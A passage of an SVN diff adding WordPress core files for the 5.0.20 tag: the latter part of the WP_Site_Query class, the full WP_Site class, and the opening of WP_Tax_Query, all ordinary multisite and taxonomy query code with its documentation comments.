+	 * The amount of found sites for the current query.
+	 *
+	 * @since 4.6.0
+	 * @var int
+	 */
+	public $found_sites = 0;
+
+	/**
+	 * The number of pages.
+	 *
+	 * @since 4.6.0
+	 * @var int
+	 */
+	public $max_num_pages = 0;
+
+	/**
+	 * Sets up the site query, based on the query vars passed.
+	 *
+	 * @since 4.6.0
+	 * @since 4.8.0 Introduced the 'lang_id', 'lang__in', and 'lang__not_in' parameters.
+	 *
+	 * @param string|array $query {
+	 *     Optional. Array or query string of site query parameters. Default empty.
+	 *
+	 *     @type array        $site__in          Array of site IDs to include. Default empty.
+	 *     @type array        $site__not_in      Array of site IDs to exclude. Default empty.
+	 *     @type bool         $count             Whether to return a site count (true) or array of site objects.
+	 *                                           Default false.
+	 *     @type array        $date_query        Date query clauses to limit sites by. See WP_Date_Query.
+	 *                                           Default null.
+	 *     @type string       $fields            Site fields to return. Accepts 'ids' (returns an array of site IDs)
+	 *                                           or empty (returns an array of complete site objects). Default empty.
+	 *     @type int          $ID                A site ID to only return that site. Default empty.
+	 *     @type int          $number            Maximum number of sites to retrieve. Default 100.
+	 *     @type int          $offset            Number of sites to offset the query. Used to build LIMIT clause.
+	 *                                           Default 0.
+	 *     @type bool         $no_found_rows     Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true.
+	 *     @type string|array $orderby           Site status or array of statuses. Accepts 'id', 'domain', 'path',
+	 *                                           'network_id', 'last_updated', 'registered', 'domain_length',
+	 *                                           'path_length', 'site__in' and 'network__in'. Also accepts false,
+	 *                                           an empty array, or 'none' to disable `ORDER BY` clause.
+	 *                                           Default 'id'.
+	 *     @type string       $order             How to order retrieved sites. Accepts 'ASC', 'DESC'. Default 'ASC'.
+	 *     @type int          $network_id        Limit results to those affiliated with a given network ID. If 0,
+	 *                                           include all networks. Default 0.
+	 *     @type array        $network__in       Array of network IDs to include affiliated sites for. Default empty.
+	 *     @type array        $network__not_in   Array of network IDs to exclude affiliated sites for. Default empty.
+	 *     @type string       $domain            Limit results to those affiliated with a given domain. Default empty.
+	 *     @type array        $domain__in        Array of domains to include affiliated sites for. Default empty.
+	 *     @type array        $domain__not_in    Array of domains to exclude affiliated sites for. Default empty.
+	 *     @type string       $path              Limit results to those affiliated with a given path. Default empty.
+	 *     @type array        $path__in          Array of paths to include affiliated sites for. Default empty.
+	 *     @type array        $path__not_in      Array of paths to exclude affiliated sites for. Default empty.
+	 *     @type int          $public            Limit results to public sites. Accepts '1' or '0'. Default empty.
+	 *     @type int          $archived          Limit results to archived sites. Accepts '1' or '0'. Default empty.
+	 *     @type int          $mature            Limit results to mature sites. Accepts '1' or '0'. Default empty.
+	 *     @type int          $spam              Limit results to spam sites. Accepts '1' or '0'. Default empty.
+	 *     @type int          $deleted           Limit results to deleted sites. Accepts '1' or '0'. Default empty.
+	 *     @type int          $lang_id           Limit results to a language ID. Default empty.
+	 *     @type array        $lang__in          Array of language IDs to include affiliated sites for. Default empty.
+	 *     @type array        $lang__not_in      Array of language IDs to exclude affiliated sites for. Default empty.
+	 *     @type string       $search            Search term(s) to retrieve matching sites for. Default empty.
+	 *     @type array        $search_columns    Array of column names to be searched. Accepts 'domain' and 'path'.
+	 *                                           Default empty array.
+	 *     @type bool         $update_site_cache Whether to prime the cache for found sites. Default true.
+	 * }
+	 */
+	public function __construct( $query = '' ) {
+		$this->query_var_defaults = array(
+			'fields'            => '',
+			'ID'                => '',
+			'site__in'          => '',
+			'site__not_in'      => '',
+			'number'            => 100,
+			'offset'            => '',
+			'no_found_rows'     => true,
+			'orderby'           => 'id',
+			'order'             => 'ASC',
+			'network_id'        => 0,
+			'network__in'       => '',
+			'network__not_in'   => '',
+			'domain'            => '',
+			'domain__in'        => '',
+			'domain__not_in'    => '',
+			'path'              => '',
+			'path__in'          => '',
+			'path__not_in'      => '',
+			'public'            => null,
+			'archived'          => null,
+			'mature'            => null,
+			'spam'              => null,
+			'deleted'           => null,
+			'lang_id'           => null,
+			'lang__in'          => '',
+			'lang__not_in'      => '',
+			'search'            => '',
+			'search_columns'    => array(),
+			'count'             => false,
+			'date_query'        => null, // See WP_Date_Query
+			'update_site_cache' => true,
+		);
+
+		if ( ! empty( $query ) ) {
+			$this->query( $query );
+		}
+	}
+
+	/**
+	 * Parses arguments passed to the site query with default query parameters.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @see WP_Site_Query::__construct()
+	 *
+	 * @param string|array $query Array or string of WP_Site_Query arguments. See WP_Site_Query::__construct().
+	 */
+	public function parse_query( $query = '' ) {
+		if ( empty( $query ) ) {
+			$query = $this->query_vars;
+		}
+
+		$this->query_vars = wp_parse_args( $query, $this->query_var_defaults );
+
+		/**
+		 * Fires after the site query vars have been parsed.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param WP_Site_Query $this The WP_Site_Query instance (passed by reference).
+		 */
+		do_action_ref_array( 'parse_site_query', array( &$this ) );
+	}
+
+	/**
+	 * Sets up the WordPress query for retrieving sites.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string|array $query Array or URL query string of parameters.
+	 * @return array|int List of WP_Site objects, a list of site ids when 'fields' is set to 'ids',
+	 *                   or the number of sites when 'count' is passed as a query var.
+	 */
+	public function query( $query ) {
+		$this->query_vars = wp_parse_args( $query );
+
+		return $this->get_sites();
+	}
+
+	/**
+	 * Retrieves a list of sites matching the query vars.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return array|int List of WP_Site objects, a list of site ids when 'fields' is set to 'ids',
+	 *                   or the number of sites when 'count' is passed as a query var.
+	 */
+	public function get_sites() {
+		$this->parse_query();
+
+		/**
+		 * Fires before sites are retrieved.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param WP_Site_Query $this Current instance of WP_Site_Query (passed by reference).
+		 */
+		do_action_ref_array( 'pre_get_sites', array( &$this ) );
+
+		// $args can include anything. Only use the args defined in the query_var_defaults to compute the key.
+		$_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) );
+
+		// Ignore the $fields argument as the queried result will be the same regardless.
+		unset( $_args['fields'] );
+
+		$key = md5( serialize( $_args ) );
+		$last_changed = wp_cache_get_last_changed( 'sites' );
+
+		$cache_key = "get_sites:$key:$last_changed";
+		$cache_value = wp_cache_get( $cache_key, 'sites' );
+
+		if ( false === $cache_value ) {
+			$site_ids = $this->get_site_ids();
+			if ( $site_ids ) {
+				$this->set_found_sites();
+			}
+
+			$cache_value = array(
+				'site_ids' => $site_ids,
+				'found_sites' => $this->found_sites,
+			);
+			wp_cache_add( $cache_key, $cache_value, 'sites' );
+		} else {
+			$site_ids = $cache_value['site_ids'];
+			$this->found_sites = $cache_value['found_sites'];
+		}
+
+		if ( $this->found_sites && $this->query_vars['number'] ) {
+			$this->max_num_pages = ceil( $this->found_sites / $this->query_vars['number'] );
+		}
+
+		// If querying for a count only, there's nothing more to do.
+		if ( $this->query_vars['count'] ) {
+			// $site_ids is actually a count in this case.
+			return intval( $site_ids );
+		}
+
+		$site_ids = array_map( 'intval', $site_ids );
+
+		if ( 'ids' == $this->query_vars['fields'] ) {
+			$this->sites = $site_ids;
+
+			return $this->sites;
+		}
+
+		// Prime site network caches.
+		if ( $this->query_vars['update_site_cache'] ) {
+			_prime_site_caches( $site_ids );
+		}
+
+		// Fetch full site objects from the primed cache.
+		$_sites = array();
+		foreach ( $site_ids as $site_id ) {
+			if ( $_site = get_site( $site_id ) ) {
+				$_sites[] = $_site;
+			}
+		}
+
+		/**
+		 * Filters the site query results.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param array         $_sites An array of WP_Site objects.
+		 * @param WP_Site_Query $this   Current instance of WP_Site_Query (passed by reference).
+		 */
+		$_sites = apply_filters_ref_array( 'the_sites', array( $_sites, &$this ) );
+
+		// Convert to WP_Site instances.
+		$this->sites = array_map( 'get_site', $_sites );
+
+		return $this->sites;
+	}
+
+	/**
+	 * Used internally to get a list of site IDs matching the query vars.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @return int|array A single count of site IDs if a count query. An array of site IDs if a full query.
+	 */
+	protected function get_site_ids() {
+		global $wpdb;
+
+		$order = $this->parse_order( $this->query_vars['order'] );
+
+		// Disable ORDER BY with 'none', an empty array, or boolean false.
+		if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) {
+			$orderby = '';
+		} elseif ( ! empty( $this->query_vars['orderby'] ) ) {
+			$ordersby = is_array( $this->query_vars['orderby'] ) ?
+				$this->query_vars['orderby'] :
+				preg_split( '/[,\s]/', $this->query_vars['orderby'] );
+
+			$orderby_array = array();
+			foreach ( $ordersby as $_key => $_value ) {
+				if ( ! $_value ) {
+					continue;
+				}
+
+				if ( is_int( $_key ) ) {
+					$_orderby = $_value;
+					$_order = $order;
+				} else {
+					$_orderby = $_key;
+					$_order = $_value;
+				}
+
+				$parsed = $this->parse_orderby( $_orderby );
+
+				if ( ! $parsed ) {
+					continue;
+				}
+
+				if ( 'site__in' === $_orderby || 'network__in' === $_orderby ) {
+					$orderby_array[] = $parsed;
+					continue;
+				}
+
+				$orderby_array[] = $parsed . ' ' . $this->parse_order( $_order );
+			}
+
+			$orderby = implode( ', ', $orderby_array );
+		} else {
+			$orderby = "blog_id $order";
+		}
+
+		$number = absint( $this->query_vars['number'] );
+		$offset = absint( $this->query_vars['offset'] );
+		$limits = '';
+
+		if ( ! empty( $number ) ) {
+			if ( $offset ) {
+				$limits = 'LIMIT ' . $offset . ',' . $number;
+			} else {
+				$limits = 'LIMIT ' . $number;
+			}
+		}
+
+		if ( $this->query_vars['count'] ) {
+			$fields = 'COUNT(*)';
+		} else {
+			$fields = 'blog_id';
+		}
+
+		// Parse site IDs for an IN clause.
+		$site_id = absint( $this->query_vars['ID'] );
+		if ( ! empty( $site_id ) ) {
+			$this->sql_clauses['where']['ID'] = $wpdb->prepare( 'blog_id = %d', $site_id );
+		}
+
+		// Parse site IDs for an IN clause.
+		if ( ! empty( $this->query_vars['site__in'] ) ) {
+			$this->sql_clauses['where']['site__in'] = "blog_id IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['site__in'] ) ) . ' )';
+		}
+
+		// Parse site IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['site__not_in'] ) ) {
+			$this->sql_clauses['where']['site__not_in'] = "blog_id NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['site__not_in'] ) ) . ' )';
+		}
+
+		$network_id = absint( $this->query_vars['network_id'] );
+
+		if ( ! empty( $network_id ) ) {
+			$this->sql_clauses['where']['network_id'] = $wpdb->prepare( 'site_id = %d', $network_id );
+		}
+
+		// Parse site network IDs for an IN clause.
+		if ( ! empty( $this->query_vars['network__in'] ) ) {
+			$this->sql_clauses['where']['network__in'] = 'site_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['network__in'] ) ) . ' )';
+		}
+
+		// Parse site network IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['network__not_in'] ) ) {
+			$this->sql_clauses['where']['network__not_in'] = 'site_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['network__not_in'] ) ) . ' )';
+		}
+
+		if ( ! empty( $this->query_vars['domain'] ) ) {
+			$this->sql_clauses['where']['domain'] = $wpdb->prepare( 'domain = %s', $this->query_vars['domain'] );
+		}
+
+		// Parse site domain for an IN clause.
+		if ( is_array( $this->query_vars['domain__in'] ) ) {
+			$this->sql_clauses['where']['domain__in'] = "domain IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__in'] ) ) . "' )";
+		}
+
+		// Parse site domain for a NOT IN clause.
+		if ( is_array( $this->query_vars['domain__not_in'] ) ) {
+			$this->sql_clauses['where']['domain__not_in'] = "domain NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__not_in'] ) ) . "' )";
+		}
+
+		if ( ! empty( $this->query_vars['path'] ) ) {
+			$this->sql_clauses['where']['path'] = $wpdb->prepare( 'path = %s', $this->query_vars['path'] );
+		}
+
+		// Parse site path for an IN clause.
+		if ( is_array( $this->query_vars['path__in'] ) ) {
+			$this->sql_clauses['where']['path__in'] = "path IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__in'] ) ) . "' )";
+		}
+
+		// Parse site path for a NOT IN clause.
+		if ( is_array( $this->query_vars['path__not_in'] ) ) {
+			$this->sql_clauses['where']['path__not_in'] = "path NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__not_in'] ) ) . "' )";
+		}
+
+		if ( is_numeric( $this->query_vars['archived'] ) ) {
+			$archived = absint( $this->query_vars['archived'] );
+			$this->sql_clauses['where']['archived'] = $wpdb->prepare( "archived = %s ", absint( $archived ) );
+		}
+
+		if ( is_numeric( $this->query_vars['mature'] ) ) {
+			$mature = absint( $this->query_vars['mature'] );
+			$this->sql_clauses['where']['mature'] = $wpdb->prepare( "mature = %d ", $mature );
+		}
+
+		if ( is_numeric( $this->query_vars['spam'] ) ) {
+			$spam = absint( $this->query_vars['spam'] );
+			$this->sql_clauses['where']['spam'] = $wpdb->prepare( "spam = %d ", $spam );
+		}
+
+		if ( is_numeric( $this->query_vars['deleted'] ) ) {
+			$deleted = absint( $this->query_vars['deleted'] );
+			$this->sql_clauses['where']['deleted'] = $wpdb->prepare( "deleted = %d ", $deleted );
+		}
+
+		if ( is_numeric( $this->query_vars['public'] ) ) {
+			$public = absint( $this->query_vars['public'] );
+			$this->sql_clauses['where']['public'] = $wpdb->prepare( "public = %d ", $public );
+		}
+
+		if ( is_numeric( $this->query_vars['lang_id'] ) ) {
+			$lang_id = absint( $this->query_vars['lang_id'] );
+			$this->sql_clauses['where']['lang_id'] = $wpdb->prepare( "lang_id = %d ", $lang_id );
+		}
+
+		// Parse site language IDs for an IN clause.
+		if ( ! empty( $this->query_vars['lang__in'] ) ) {
+			$this->sql_clauses['where']['lang__in'] = 'lang_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['lang__in'] ) ) . ' )';
+		}
+
+		// Parse site language IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['lang__not_in'] ) ) {
+			$this->sql_clauses['where']['lang__not_in'] = 'lang_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['lang__not_in'] ) ) . ' )';
+		}
+
+		// Falsey search strings are ignored.
+		if ( strlen( $this->query_vars['search'] ) ) {
+			$search_columns = array();
+
+			if ( $this->query_vars['search_columns'] ) {
+				$search_columns = array_intersect( $this->query_vars['search_columns'], array( 'domain', 'path' ) );
+			}
+
+			if ( ! $search_columns ) {
+				$search_columns = array( 'domain', 'path' );
+			}
+
+			/**
+			 * Filters the columns to search in a WP_Site_Query search.
+			 *
+			 * The default columns include 'domain' and 'path.
+			 *
+			 * @since 4.6.0
+			 *
+			 * @param array         $search_columns Array of column names to be searched.
+			 * @param string        $search         Text being searched.
+			 * @param WP_Site_Query $this           The current WP_Site_Query instance.
+			 */
+			$search_columns = apply_filters( 'site_search_columns', $search_columns, $this->query_vars['search'], $this );
+
+			$this->sql_clauses['where']['search'] = $this->get_search_sql( $this->query_vars['search'], $search_columns );
+		}
+
+		$date_query = $this->query_vars['date_query'];
+		if ( ! empty( $date_query ) && is_array( $date_query ) ) {
+			$this->date_query = new WP_Date_Query( $date_query, 'registered' );
+			$this->sql_clauses['where']['date_query'] = preg_replace( '/^\s*AND\s*/', '', $this->date_query->get_sql() );
+		}
+
+		$join = '';
+
+		$where = implode( ' AND ', $this->sql_clauses['where'] );
+
+		$groupby = '';
+
+		$pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' );
+
+		/**
+		 * Filters the site query clauses.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param array         $pieces A compacted array of site query clauses.
+		 * @param WP_Site_Query $this   Current instance of WP_Site_Query (passed by reference).
+		 */
+		$clauses = apply_filters_ref_array( 'sites_clauses', array( compact( $pieces ), &$this ) );
+
+		$fields = isset( $clauses['fields'] ) ? $clauses['fields'] : '';
+		$join = isset( $clauses['join'] ) ? $clauses['join'] : '';
+		$where = isset( $clauses['where'] ) ? $clauses['where'] : '';
+		$orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : '';
+		$limits = isset( $clauses['limits'] ) ? $clauses['limits'] : '';
+		$groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : '';
+
+		if ( $where ) {
+			$where = 'WHERE ' . $where;
+		}
+
+		if ( $groupby ) {
+			$groupby = 'GROUP BY ' . $groupby;
+		}
+
+		if ( $orderby ) {
+			$orderby = "ORDER BY $orderby";
+		}
+
+		$found_rows = '';
+		if ( ! $this->query_vars['no_found_rows'] ) {
+			$found_rows = 'SQL_CALC_FOUND_ROWS';
+		}
+
+		$this->sql_clauses['select']  = "SELECT $found_rows $fields";
+		$this->sql_clauses['from']    = "FROM $wpdb->blogs $join";
+		$this->sql_clauses['groupby'] = $groupby;
+		$this->sql_clauses['orderby'] = $orderby;
+		$this->sql_clauses['limits']  = $limits;
+
+		$this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}";
+
+		if ( $this->query_vars['count'] ) {
+			return intval( $wpdb->get_var( $this->request ) );
+		}
+
+		$site_ids = $wpdb->get_col( $this->request );
+
+		return array_map( 'intval', $site_ids );
+	}
+
+	/**
+	 * Populates found_sites and max_num_pages properties for the current query
+	 * if the limit clause was used.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 */
+	private function set_found_sites() {
+		global $wpdb;
+
+		if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) {
+			/**
+			 * Filters the query used to retrieve found site count.
+			 *
+			 * @since 4.6.0
+			 *
+			 * @param string        $found_sites_query SQL query. Default 'SELECT FOUND_ROWS()'.
+			 * @param WP_Site_Query $site_query        The `WP_Site_Query` instance.
+			 */
+			$found_sites_query = apply_filters( 'found_sites_query', 'SELECT FOUND_ROWS()', $this );
+
+			$this->found_sites = (int) $wpdb->get_var( $found_sites_query );
+		}
+	}
+
+	/**
+	 * Used internally to generate an SQL string for searching across multiple columns.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb  $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $string  Search string.
+	 * @param array  $columns Columns to search.
+	 * @return string Search SQL.
+	 */
+	protected function get_search_sql( $string, $columns ) {
+		global $wpdb;
+
+		if ( false !== strpos( $string, '*' ) ) {
+			$like = '%' . implode( '%', array_map( array( $wpdb, 'esc_like' ), explode( '*', $string ) ) ) . '%';
+		} else {
+			$like = '%' . $wpdb->esc_like( $string ) . '%';
+		}
+
+		$searches = array();
+		foreach ( $columns as $column ) {
+			$searches[] = $wpdb->prepare( "$column LIKE %s", $like );
+		}
+
+		return '(' . implode( ' OR ', $searches ) . ')';
+	}
+
+	/**
+	 * Parses and sanitizes 'orderby' keys passed to the site query.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $orderby Alias for the field to order by.
+	 * @return string|false Value to used in the ORDER clause. False otherwise.
+	 */
+	protected function parse_orderby( $orderby ) {
+		global $wpdb;
+
+		$parsed = false;
+
+		switch ( $orderby ) {
+			case 'site__in':
+				$site__in = implode( ',', array_map( 'absint', $this->query_vars['site__in'] ) );
+				$parsed = "FIELD( {$wpdb->blogs}.blog_id, $site__in )";
+				break;
+			case 'network__in':
+				$network__in = implode( ',', array_map( 'absint', $this->query_vars['network__in'] ) );
+				$parsed = "FIELD( {$wpdb->blogs}.site_id, $network__in )";
+				break;
+			case 'domain':
+			case 'last_updated':
+			case 'path':
+			case 'registered':
+				$parsed = $orderby;
+				break;
+			case 'network_id':
+				$parsed = 'site_id';
+				break;
+			case 'domain_length':
+				$parsed = 'CHAR_LENGTH(domain)';
+				break;
+			case 'path_length':
+				$parsed = 'CHAR_LENGTH(path)';
+				break;
+			case 'id':
+				$parsed = 'blog_id';
+				break;
+		}
+
+		return $parsed;
+	}
+
+	/**
+	 * Parses an 'order' query variable and cast it to 'ASC' or 'DESC' as necessary.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $order The 'order' query variable.
+	 * @return string The sanitized 'order' query variable.
+	 */
+	protected function parse_order( $order ) {
+		if ( ! is_string( $order ) || empty( $order ) ) {
+			return 'ASC';
+		}
+
+		if ( 'ASC' === strtoupper( $order ) ) {
+			return 'ASC';
+		} else {
+			return 'DESC';
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-site.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-site.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-site.php	(revision 56912)
@@ -0,0 +1,347 @@
+<?php
+/**
+ * Site API: WP_Site class
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 4.5.0
+ */
+
+/**
+ * Core class used for interacting with a multisite site.
+ *
+ * This class is used during load to populate the `$current_blog` global and
+ * setup the current site.
+ *
+ * @since 4.5.0
+ *
+ * @property int    $id
+ * @property int    $network_id
+ * @property string $blogname
+ * @property string $siteurl
+ * @property int    $post_count
+ * @property string $home
+ */
+final class WP_Site {
+
+	/**
+	 * Site ID.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $blog_id;
+
+	/**
+	 * Domain of the site.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $domain = '';
+
+	/**
+	 * Path of the site.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $path = '';
+
+	/**
+	 * The ID of the site's parent network.
+	 *
+	 * Named "site" vs. "network" for legacy reasons. An individual site's "site" is
+	 * its network.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $site_id = '0';
+
+	/**
+	 * The date on which the site was created or registered.
+	 *
+	 * @since 4.5.0
+	 * @var string Date in MySQL's datetime format.
+	 */
+	public $registered = '0000-00-00 00:00:00';
+
+	/**
+	 * The date and time on which site settings were last updated.
+	 *
+	 * @since 4.5.0
+	 * @var string Date in MySQL's datetime format.
+	 */
+	public $last_updated = '0000-00-00 00:00:00';
+
+	/**
+	 * Whether the site should be treated as public.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $public = '1';
+
+	/**
+	 * Whether the site should be treated as archived.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $archived = '0';
+
+	/**
+	 * Whether the site should be treated as mature.
+	 *
+	 * Handling for this does not exist throughout WordPress core, but custom
+	 * implementations exist that require the property to be present.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $mature = '0';
+
+	/**
+	 * Whether the site should be treated as spam.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $spam = '0';
+
+	/**
+	 * Whether the site should be treated as deleted.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $deleted = '0';
+
+	/**
+	 * The language pack associated with this site.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $lang_id = '0';
+
+	/**
+	 * Retrieves a site from the database by its ID.
+	 *
+	 * @static
+	 * @since 4.5.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param int $site_id The ID of the site to retrieve.
+	 * @return WP_Site|false The site's object if found. False if not.
+	 */
+	public static function get_instance( $site_id ) {
+		global $wpdb;
+
+		$site_id = (int) $site_id;
+		if ( ! $site_id ) {
+			return false;
+		}
+
+		$_site = wp_cache_get( $site_id, 'sites' );
+
+		if ( ! $_site ) {
+			$_site = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->blogs} WHERE blog_id = %d LIMIT 1", $site_id ) );
+
+			if ( empty( $_site ) || is_wp_error( $_site ) ) {
+				return false;
+			}
+
+			wp_cache_add( $site_id, $_site, 'sites' );
+		}
+
+		return new WP_Site( $_site );
+	}
+
+	/**
+	 * Creates a new WP_Site object.
+	 *
+	 * Will populate object properties from the object provided and assign other
+	 * default properties based on that information.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param WP_Site|object $site A site object.
+	 */
+	public function __construct( $site ) {
+		foreach( get_object_vars( $site ) as $key => $value ) {
+			$this->$key = $value;
+		}
+	}
+
+	/**
+	 * Converts an object to array.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return array Object as array.
+	 */
+	public function to_array() {
+		return get_object_vars( $this );
+	}
+
+	/**
+	 * Getter.
+	 *
+	 * Allows current multisite naming conventions when getting properties.
+	 * Allows access to extended site properties.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $key Property to get.
+	 * @return mixed Value of the property. Null if not available.
+	 */
+	public function __get( $key ) {
+		switch ( $key ) {
+			case 'id':
+				return (int) $this->blog_id;
+			case 'network_id':
+				return (int) $this->site_id;
+			case 'blogname':
+			case 'siteurl':
+			case 'post_count':
+			case 'home':
+			default: // Custom properties added by 'site_details' filter.
+				if ( ! did_action( 'ms_loaded' ) ) {
+					return null;
+				}
+
+				$details = $this->get_details();
+				if ( isset( $details->$key ) ) {
+					return $details->$key;
+				}
+		}
+
+		return null;
+	}
+
+	/**
+	 * Isset-er.
+	 *
+	 * Allows current multisite naming conventions when checking for properties.
+	 * Checks for extended site properties.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $key Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $key ) {
+		switch ( $key ) {
+			case 'id':
+			case 'network_id':
+				return true;
+			case 'blogname':
+			case 'siteurl':
+			case 'post_count':
+			case 'home':
+				if ( ! did_action( 'ms_loaded' ) ) {
+					return false;
+				}
+				return true;
+			default: // Custom properties added by 'site_details' filter.
+				if ( ! did_action( 'ms_loaded' ) ) {
+					return false;
+				}
+
+				$details = $this->get_details();
+				if ( isset( $details->$key ) ) {
+					return true;
+				}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Setter.
+	 *
+	 * Allows current multisite naming conventions while setting properties.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $key   Property to set.
+	 * @param mixed  $value Value to assign to the property.
+	 */
+	public function __set( $key, $value ) {
+		switch ( $key ) {
+			case 'id':
+				$this->blog_id = (string) $value;
+				break;
+			case 'network_id':
+				$this->site_id = (string) $value;
+				break;
+			default:
+				$this->$key = $value;
+		}
+	}
+
+	/**
+	 * Retrieves the details for this site.
+	 *
+	 * This method is used internally to lazy-load the extended properties of a site.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @see WP_Site::__get()
+	 *
+	 * @return stdClass A raw site object with all details included.
+	 */
+	private function get_details() {
+		$details = wp_cache_get( $this->blog_id, 'site-details' );
+
+		if ( false === $details ) {
+
+			switch_to_blog( $this->blog_id );
+			// Create a raw copy of the object for backwards compatibility with the filter below.
+			$details = new stdClass();
+			foreach ( get_object_vars( $this ) as $key => $value ) {
+				$details->$key = $value;
+			}
+			$details->blogname   = get_option( 'blogname' );
+			$details->siteurl    = get_option( 'siteurl' );
+			$details->post_count = get_option( 'post_count' );
+			$details->home       = get_option( 'home' );
+			restore_current_blog();
+
+			wp_cache_set( $this->blog_id, $details, 'site-details' );
+		}
+
+		/** This filter is documented in wp-includes/ms-blogs.php */
+		$details = apply_filters_deprecated( 'blog_details', array( $details ), '4.7.0', 'site_details' );
+
+		/**
+		 * Filters a site's extended properties.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param stdClass $details The site details.
+		 */
+		$details = apply_filters( 'site_details', $details );
+
+		return $details;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-tax-query.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-tax-query.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-tax-query.php	(revision 56912)
@@ -0,0 +1,653 @@
+<?php
+/**
+ * Taxonomy API: WP_Tax_Query class
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement taxonomy queries for the Taxonomy API.
+ *
+ * Used for generating SQL clauses that filter a primary query according to object
+ * taxonomy terms.
+ *
+ * WP_Tax_Query is a helper that allows primary query classes, such as WP_Query, to filter
+ * their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be
+ * attached to the primary SQL query string.
+ *
+ * @since 3.1.0
+ */
+class WP_Tax_Query {
+
+	/**
+	 * Array of taxonomy queries.
+	 *
+	 * See WP_Tax_Query::__construct() for information on tax query arguments.
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 */
+	public $queries = array();
+
+	/**
+	 * The relation between the queries. Can be one of 'AND' or 'OR'.
+	 *
+	 * @since 3.1.0
+	 * @var string
+	 */
+	public $relation;
+
+	/**
+	 * Standard response when the query should not return any rows.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @static
+	 * @var string
+	 */
+	private static $no_results = array( 'join' => array( '' ), 'where' => array( '0 = 1' ) );
+
+	/**
+	 * A flat list of table aliases used in the JOIN clauses.
+	 *
+	 * @since 4.1.0
+	 * @var array
+	 */
+	protected $table_aliases = array();
+
+	/**
+	 * Terms and taxonomies fetched by this query.
+	 *
+	 * We store this data in a flat array because they are referenced in a
+	 * number of places by WP_Query.
+	 *
+	 * @since 4.1.0
+	 * @var array
+	 */
+	public $queried_terms = array();
+
+	/**
